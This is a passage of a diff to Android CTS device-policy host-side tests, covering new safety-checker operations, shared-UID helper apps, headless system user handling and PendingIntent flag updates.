Intent intent = new Intent(Intent.ACTION_MAIN);
PendingIntent pendingIntent = PendingIntent.getActivity(
InstrumentationRegistry.getContext(),
- 1, intent, 0);
+ 1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
usm.registerAppUsageObserver(obsId, packages, 60, TimeUnit.SECONDS, pendingIntent);
usm.unregisterAppUsageObserver(obsId);
@@ -56,7 +56,7 @@
Intent intent = new Intent(Intent.ACTION_MAIN);
PendingIntent pendingIntent = PendingIntent.getActivity(
InstrumentationRegistry.getContext(),
- 1, intent, 0);
+ 1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
usm.registerUsageSessionObserver(obsId, packages, Duration.ofSeconds(60),
Duration.ofSeconds(10), pendingIntent, null);
@@ -77,7 +77,7 @@
Intent intent = new Intent(Intent.ACTION_MAIN);
PendingIntent pendingIntent = PendingIntent.getActivity(
InstrumentationRegistry.getContext(),
- 1, intent, 0);
+ 1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
// Register too many AppUsageObservers
for (int obsId = 0; obsId < OBSERVER_LIMIT; obsId++) {
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
index c8b6d26..8492fcc 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -31,6 +31,6 @@
* Tests that all safety-aware operations are properly implemented.
*/
public void testAllOperations() {
- mTester.testAllOperations(mDevicePolicyManager);
+ mTester.testAllOperations(mDevicePolicyManager, getWho());
}
}
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
index 15cc3f6..efe511a 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
@@ -38,12 +38,14 @@
@Override
public void onStart() {
super.onStart();
+ Log.i(TAG, "Starting SimpleActivityImmediateExit.");
finish();
}
@Override
protected void onStop() {
super.onStop();
+ Log.i(TAG, "Stopping SimpleActivityImmediateExit.");
// Notify any listener that this activity is about to end now.
Intent reply = new Intent();
reply.setAction(ACTIVITY_EXIT_ACTION);
diff --git a/hostsidetests/devicepolicy/app/TestApps/Android.bp b/hostsidetests/devicepolicy/app/TestApps/Android.bp
index f6bbbcc..3d02d89 100644
--- a/hostsidetests/devicepolicy/app/TestApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestApps/Android.bp
@@ -115,3 +115,27 @@
],
manifest: "testapp4/AndroidManifest.xml",
}
+
+android_test_helper_app {
+ name: "SharedUidApp1",
+ defaults: ["cts_defaults"],
+ //srcs: ["share/src/**/*.java"],
+ test_suites: [
+ "cts",
+ "general-tests",
+ "mts",
+ ],
+ manifest: "shareduidapp1/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+ name: "SharedUidApp2",
+ defaults: ["cts_defaults"],
+ //srcs: ["share/src/**/*.java"],
+ test_suites: [
+ "cts",
+ "general-tests",
+ "mts",
+ ],
+ manifest: "shareduidapp2/AndroidManifest.xml",
+}
diff --git a/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml
new file mode 100644
index 0000000..141c8af
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<!--
+ ~ A test app used for when you need to install test packages that have a functioning package name
+ ~ and UID. For example, you could use it to set permissions or app-ops.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.testapps.shareduidapp1"
+ android:sharedUserId="com.android.cts.devicepolicy.shareduidapps">
+ <application android:testOnly="true">
+ <activity android:name="android.app.Activity"
+ android:exported="true">
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml
new file mode 100644
index 0000000..c978c86
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<!--
+ ~ A test app used for when you need to install test packages that have a functioning package name
+ ~ and UID. For example, you could use it to set permissions or app-ops.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.testapps.shareduidapp2"
+ android:sharedUserId="com.android.cts.devicepolicy.shareduidapps">
+ <application android:testOnly="true">
+ <activity android:name="android.app.Activity"
+ android:exported="true">
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
index 941662f..d8073c9 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
@@ -16,12 +16,23 @@
package com.android.cts.devicepolicy;
import static android.app.admin.DevicePolicyManager.OPERATION_LOCK_NOW;
+import static android.app.admin.DevicePolicyManager.OPERATION_LOGOUT_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_ACTIVE_ADMIN;
+import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_KEY_PAIR;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_ALWAYS_ON_VPN_PACKAGE;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_MASTER_VOLUME_MUTED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PERMISSION_GRANT_STATE;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PERMISSION_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_RESTRICTIONS_PROVIDER;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_USER_RESTRICTION;
import static android.app.admin.DevicePolicyManager.operationToString;
import static org.junit.Assert.fail;
import android.app.admin.DevicePolicyManager;
import android.app.admin.UnsafeStateException;
+import android.content.ComponentName;
+import android.os.UserManager;
import android.util.Log;
import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -29,6 +40,7 @@
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
+import java.util.Set;
/**
* Helper class to test that DPM calls fail when determined by the
@@ -41,34 +53,43 @@
.getSimpleName();
private static final int[] OPERATIONS = new int[] {
- OPERATION_LOCK_NOW
+ OPERATION_LOCK_NOW,
+ OPERATION_LOGOUT_USER,
+ OPERATION_REMOVE_ACTIVE_ADMIN,
+ OPERATION_REMOVE_KEY_PAIR,
+ OPERATION_SET_MASTER_VOLUME_MUTED,
+ OPERATION_SET_USER_RESTRICTION,
+ OPERATION_SET_PERMISSION_GRANT_STATE,
+ OPERATION_SET_PERMISSION_POLICY,
+ OPERATION_SET_RESTRICTIONS_PROVIDER
};
private static final int[] OVERLOADED_OPERATIONS = new int[] {
- OPERATION_LOCK_NOW
+ OPERATION_LOCK_NOW,
+ OPERATION_SET_ALWAYS_ON_VPN_PACKAGE
};
/**
* Tests that all safety-aware operations are properly implemented.
*/
- public final void testAllOperations(DevicePolicyManager dpm) {
+ public final void testAllOperations(DevicePolicyManager dpm, ComponentName admin) {
Objects.requireNonNull(dpm);
List<String> failures = new ArrayList<>();
for (int operation : OPERATIONS) {
- safeOperationTest(dpm, failures, operation, /* overloaded= */ false);
+ safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ false);
}
for (int operation : OVERLOADED_OPERATIONS) {
- safeOperationTest(dpm, failures, operation, /* overloaded= */ true);
+ safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ true);
}
for (int operation : getSafetyAwareOperations()) {
- safeOperationTest(dpm, failures, operation, /* overloaded= */ false);
+ safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ false);
}
for (int operation : getOverloadedSafetyAwareOperations()) {
- safeOperationTest(dpm, failures, operation, /* overloaded= */ true);
+ safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ true);
}
if (!failures.isEmpty()) {
@@ -107,7 +128,7 @@
*
* <p>MUST be overridden if {@link #getSafetyAwareOperations()} is overridden as well.
*/
- protected void runOperation(DevicePolicyManager dpm, int operation,
+ protected void runOperation(DevicePolicyManager dpm, ComponentName admin, int operation,
boolean overloaded) {
throwUnsupportedOperationException(operation, overloaded);
}
@@ -121,12 +142,12 @@
"Unsupported operation " + getOperationName(operation, overloaded));
}
- private void safeOperationTest(DevicePolicyManager dpm, List<String> failures, int operation,
- boolean overloaded) {
+ private void safeOperationTest(DevicePolicyManager dpm, ComponentName admin,
+ List<String> failures, int operation, boolean overloaded) {
String name = getOperationName(operation, overloaded);
try {
setOperationUnsafe(dpm, operation);
- runCommonOrSpecificOperation(dpm, operation, overloaded);
+ runCommonOrSpecificOperation(dpm, admin, operation, overloaded);
Log.e(TAG, name + " didn't throw an UnsafeStateException");
failures.add(name);
} catch (UnsafeStateException e) {
@@ -142,8 +163,8 @@
return overloaded ? name + "(OVERLOADED)" : name;
}
- private void runCommonOrSpecificOperation(DevicePolicyManager dpm, int operation,
- boolean overloaded) {
+ private void runCommonOrSpecificOperation(DevicePolicyManager dpm, ComponentName admin,
+ int operation, boolean overloaded) throws Exception {
String name = getOperationName(operation, overloaded);
Log.v(TAG, "runOperation(): " + name);
switch (operation) {
@@ -154,8 +175,41 @@
dpm.lockNow();
}
break;
+ case OPERATION_LOGOUT_USER:
+ dpm.logoutUser(admin);
+ break;
+ case OPERATION_SET_ALWAYS_ON_VPN_PACKAGE:
+ if (overloaded) {
+ dpm.setAlwaysOnVpnPackage(admin, "vpnPackage", /* lockdownEnabled= */ true);
+ } else {
+ dpm.setAlwaysOnVpnPackage(admin, "vpnPackage", /* lockdownEnabled= */ true,
+ /* lockdownAllowlist= */ Set.of("vpnPackage"));
+ }
+ break;
+ case OPERATION_SET_MASTER_VOLUME_MUTED:
+ dpm.setMasterVolumeMuted(admin, /* on= */ true);
+ break;
+ case OPERATION_SET_PERMISSION_GRANT_STATE:
+ dpm.setPermissionGrantState(admin, "package", "permission", /* grantState= */ 0);
+ break;
+ case OPERATION_SET_PERMISSION_POLICY:
+ dpm.setPermissionPolicy(admin, /* policy= */ 0);
+ break;
+ case OPERATION_SET_RESTRICTIONS_PROVIDER:
+ dpm.setRestrictionsProvider(admin,
+ /* provider= */ new ComponentName("package", "component"));
+ break;
+ case OPERATION_SET_USER_RESTRICTION:
+ dpm.addUserRestriction(admin, UserManager.DISALLOW_REMOVE_USER);
+ break;
+ case OPERATION_REMOVE_ACTIVE_ADMIN:
+ dpm.removeActiveAdmin(admin);
+ break;
+ case OPERATION_REMOVE_KEY_PAIR:
+ dpm.removeKeyPair(admin, "keyAlias");
+ break;
default:
- runOperation(dpm, operation, overloaded);
+ runOperation(dpm, admin, operation, overloaded);
}
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 5c28d37..0ea3a4f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -148,6 +148,7 @@
/** Whether DPM is supported. */
protected boolean mHasFeature;
+ protected int mDeviceOwnerUserId;
protected int mPrimaryUserId;
/** Record the initial user ID. */
@@ -201,12 +202,21 @@
getDevice().executeShellCommand("settings put global verifier_verify_adb_installs 0");
mFixedUsers = new ArrayList<>();
- mPrimaryUserId = getPrimaryUser();
// Set the value of initial user ID calls in {@link #setUp}.
if(mSupportsMultiUser) {
mInitialUserId = getDevice().getCurrentUser();
}
+
+ if (!isHeadlessSystemUserMode()) {
+ mDeviceOwnerUserId = mPrimaryUserId = getPrimaryUser();
+ } else {
+ // For headless system user, all tests will be executed on current user
+ // and therefore, initial user is set as primary user for test purpose.
+ mPrimaryUserId = mInitialUserId;
+ mDeviceOwnerUserId = USER_SYSTEM;
+ }
+
mFixedUsers.add(mPrimaryUserId);
if (mPrimaryUserId != USER_SYSTEM) {
mFixedUsers.add(USER_SYSTEM);
@@ -225,7 +235,9 @@
getDevice().executeShellCommand(" mkdir " + TEST_UPDATE_LOCATION);
removeOwners();
- switchUser(USER_SYSTEM);
+
+ switchUser(mPrimaryUserId);
+
removeTestUsers();
// Unlock keyguard before test
wakeupAndDismissKeyguard();
@@ -1036,6 +1048,13 @@
return "true".equalsIgnoreCase(result);
}
+ // TODO (b/174775905) remove after exposing the check from ITestDevice.
+ boolean isHeadlessSystemUserMode() throws DeviceNotAvailableException {
+ final String result = getDevice()
+ .executeShellCommand("getprop ro.fw.mu.headless_system_user").trim();
+ return "true".equalsIgnoreCase(result);
+ }
+
void pushUpdateFileToDevice(String fileName)
throws IOException, DeviceNotAvailableException {
File file = File.createTempFile(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index b1db61d..02e2455 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -36,6 +36,7 @@
import com.google.common.collect.ImmutableMap;
+import org.junit.Ignore;
import org.junit.Test;
import java.io.File;
@@ -146,6 +147,10 @@
= "com.android.cts.devicepolicy.meteredtestapp";
private static final String METERED_DATA_APP_APK = "CtsMeteredDataTestApp.apk";
+ // For testing key pair grants since they are per-uid
+ private static final String SHARED_UID_APP1_APK = "SharedUidApp1.apk";
+ private static final String SHARED_UID_APP2_APK = "SharedUidApp2.apk";
+
private static final String ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES
= "enabled_notification_policy_access_packages";
@@ -1151,6 +1156,7 @@
}
@FlakyTest(bugId = 132226089)
+ @Ignore("Ignored while migrating to new infrastructure b/175377361")
@Test
public void testLockTask() throws Exception {
if (!mHasFeature) {
@@ -1203,6 +1209,7 @@
@LargeTest
@Test
+ @Ignore("Ignored while migrating to new infrastructure b/175377361")
public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
if (!mHasFeature) {
return;
@@ -1234,6 +1241,7 @@
}
@Test
+ @Ignore("Ignored while migrating to new infrastructure b/175377361")
public void testLockTask_defaultDialer() throws Exception {
if (!mHasFeature || !mHasTelephony || !mHasConnectionService) {
return;
@@ -1589,6 +1597,9 @@
return;
}
+ installAppAsUser(SHARED_UID_APP1_APK, mUserId);
+ installAppAsUser(SHARED_UID_APP2_APK, mUserId);
+
executeDeviceTestClass(".KeyManagementTest");
}
@@ -1603,10 +1614,12 @@
}, new DevicePolicyEventWrapper.Builder(EventId.INSTALL_KEY_PAIR_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setBoolean(false)
+ .setStrings("notCredentialManagementApp")
.build(),
new DevicePolicyEventWrapper.Builder(EventId.REMOVE_KEY_PAIR_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setBoolean(false)
+ .setStrings("notCredentialManagementApp")
.build());
}
@@ -1623,13 +1636,13 @@
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setBoolean(false)
.setInt(0)
- .setStrings("RSA")
+ .setStrings("RSA", "notCredentialManagementApp")
.build(),
new DevicePolicyEventWrapper.Builder(EventId.GENERATE_KEY_PAIR_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setBoolean(false)
.setInt(0)
- .setStrings("EC")
+ .setStrings("EC", "notCredentialManagementApp")
.build());
}
@@ -1645,6 +1658,7 @@
}, new DevicePolicyEventWrapper.Builder(EventId.SET_KEY_PAIR_CERTIFICATE_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setBoolean(false)
+ .setStrings("notCredentialManagementApp")
.build());
}
@@ -2089,6 +2103,27 @@
.collect(Collectors.toList());
}
+ @Test
+ public void testEnrollmentSpecificIdCorrectCalculation() throws DeviceNotAvailableException {
+ if (!mHasFeature) {
+ return;
+ }
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
+ "testCorrectCalculationOfEsid", mUserId);
+ }
+
+ @Test
+ public void testEnrollmentSpecificIdEmptyAndMultipleSet() throws DeviceNotAvailableException {
+ if (!mHasFeature) {
+ return;
+ }
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
+ "testThrowsForEmptyOrganizationId", mUserId);
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
+ "testThrowsWhenTryingToReSetOrganizationId", mUserId);
+ }
+
+
/**
* Executes a test class on device. Prior to running, turn off background data usage
* restrictions, and restore the original restrictions after the test.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi30.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi30.java
new file mode 100644
index 0000000..fd0f595
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi30.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+/**
+ * Set of tests for use cases that apply to profile and device owner with DPC
+ * targeting API level 25.
+ */
+public abstract class DeviceAndProfileOwnerTestApi30 extends BaseDevicePolicyTest {
+
+ protected static final String DEVICE_ADMIN_PKG = "com.android.cts.deviceandprofileowner";
+ protected static final String DEVICE_ADMIN_APK = "CtsDeviceAndProfileOwnerApp30.apk";
+
+ protected static final String ADMIN_RECEIVER_TEST_CLASS =
+ ".BaseDeviceAdminTest$BasicAdminReceiver";
+
+ protected int mUserId;
+
+ @Override
+ public void tearDown() throws Exception {
+ if (mHasFeature) {
+ getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+
+ // Clear device lock in case test fails (testUnlockFbe in particular)
+ getDevice().executeShellCommand("cmd lock_settings clear --old 12345");
+ // Press the HOME key to close any alart dialog that may be shown.
+ getDevice().executeShellCommand("input keyevent 3");
+ }
+ super.tearDown();
+ }
+
+ protected void executeDeviceTestClass(String className) throws Exception {
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
+ }
+
+ protected void executeDeviceTestMethod(String className, String testName) throws Exception {
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, testName, mUserId);
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 2686de2..b600f25 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -103,16 +103,20 @@
private static final String GLOBAL_SETTING_USB_MASS_STORAGE_ENABLED =
"usb_mass_storage_enabled";
+ private boolean mDeviceOwnerSet;
+
@Override
public void setUp() throws Exception {
super.setUp();
if (mHasFeature) {
- installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
- if (!setDeviceOwner(DEVICE_OWNER_COMPONENT, mPrimaryUserId,
- /*expectFailure*/ false)) {
- removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId);
+ installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
+ mDeviceOwnerSet = setDeviceOwner(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId,
+ /*expectFailure*/ false);
+
+ if (!mDeviceOwnerSet) {
+ removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId);
getDevice().uninstallPackage(DEVICE_OWNER_PKG);
- fail("Failed to set device owner");
+ fail("Failed to set device owner for user " + mDeviceOwnerUserId);
}
// Enable the notification listener
@@ -125,8 +129,10 @@
@Override
public void tearDown() throws Exception {
if (mHasFeature) {
- assertTrue("Failed to remove device owner.",
- removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId));
+ if (mDeviceOwnerSet) {
+ assertTrue("Failed to remove device owner for user " + mDeviceOwnerUserId,
+ removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId));
+ }
getDevice().uninstallPackage(DEVICE_OWNER_PKG);
switchUser(USER_SYSTEM);
removeTestUsers();
@@ -137,6 +143,9 @@
@Test
public void testDeviceOwnerSetup() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
executeDeviceOwnerTest("DeviceOwnerSetupTest");
}
@@ -990,7 +999,7 @@
// The simple app package seems to be set into stopped state on reboot.
// Launch the activity again to get it out of stopped state.
startActivityAsUser(mPrimaryUserId, SIMPLE_APP_PKG, SIMPLE_APP_ACTIVITY);
- forceStopPackageForUser(SIMPLE_APP_PKG, mPrimaryUserId);
+ forceStopPackageForUser(SIMPLE_APP_PKG, mDeviceOwnerUserId);
executeDeviceTestMethod(".UserControlDisabledPackagesTest",
"testForceStopWithUserControlDisabled");
executeDeviceTestMethod(".UserControlDisabledPackagesTest",
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
index 9874b75..b84ed01 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
@@ -46,15 +46,6 @@
lockProfile();
}
- @Test
- public void testPasswordMinimumRestrictions() throws Exception {
- if (!mHasFeature || !mHasSecureLockScreen) {
- return;
- }
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PasswordMinimumRestrictionsTest",
- mProfileUserId);
- }
-
@FlakyTest
@Test
public void testResetPasswordWithTokenBeforeUnlock() throws Exception {
@@ -233,6 +224,15 @@
.build());
}
+ @Test
+ public void testActivePasswordSufficientForDeviceRequirement() throws Exception {
+ if (!mHasFeature || !mHasSecureLockScreen) {
+ return;
+ }
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ActivePasswordSufficientForDeviceTest",
+ mProfileUserId);
+ }
+
private void verifyUnifiedPassword(boolean unified) throws DeviceNotAvailableException {
final String testMethod =
unified ? "testUsingUnifiedPassword" : "testNotUsingUnifiedPassword";
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 7502822..4883a76 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -587,9 +587,6 @@
"testOppDisabledWhenRestrictionSet", mProfileUserId);
}
- //TODO(b/130844684): Re-enable once profile owner on personal device can no longer access
- //identifiers.
- @Ignore
@Test
public void testProfileOwnerOnPersonalDeviceCannotGetDeviceIdentifiers() throws Exception {
// The Profile Owner should have access to all device identifiers.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index de168cd..94a76f8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -31,11 +31,6 @@
import org.junit.Ignore;
import org.junit.Test;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
@@ -101,6 +96,7 @@
}
@FlakyTest(bugId = 127270520)
+ @Ignore("Ignored while migrating to new infrastructure b/175377361")
@Test
public void testLockTask_affiliatedSecondaryUser() throws Exception {
if (!mHasFeature || !canCreateAdditionalUsers(1)) {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 4126185..4b213f1 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -401,18 +401,6 @@
DEVICE_ADMIN_PKG, ".WifiTest", "testCannotGetWifiMacAddress", mUserId);
}
- //TODO(b/130844684): Remove when removing profile owner on personal device access to device
- // identifiers.
- @Test
- public void testProfileOwnerCanGetDeviceIdentifiers() throws Exception {
- if (!mHasFeature) {
- return;
- }
-
- runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdentifiersTest",
- "testProfileOwnerCanGetDeviceIdentifiersWithPermission", mUserId);
- }
-
@Override
@LockSettingsTest
@Test
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
index 8688335..10c6c8a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
@@ -16,9 +16,6 @@
package com.android.cts.devicepolicy;
-import android.platform.test.annotations.FlakyTest;
-import android.platform.test.annotations.LargeTest;
-
import com.android.cts.devicepolicy.annotations.PermissionsTest;
import org.junit.Test;
@@ -28,7 +25,6 @@
* Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi25.
*/
public class MixedManagedProfileOwnerTestApi25 extends DeviceAndProfileOwnerTestApi25 {
-
private int mParentUserId = -1;
@Override
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi30.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi30.java
new file mode 100644
index 0000000..dd54042
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi30.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import org.junit.Test;
+
+/**
+ * Set of tests for managed profile owner use cases that may also apply to device owner.
+ * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi30.
+ */
+public class MixedManagedProfileOwnerTestApi30 extends DeviceAndProfileOwnerTestApi30 {
+ private int mParentUserId = -1;
+
+ @Override
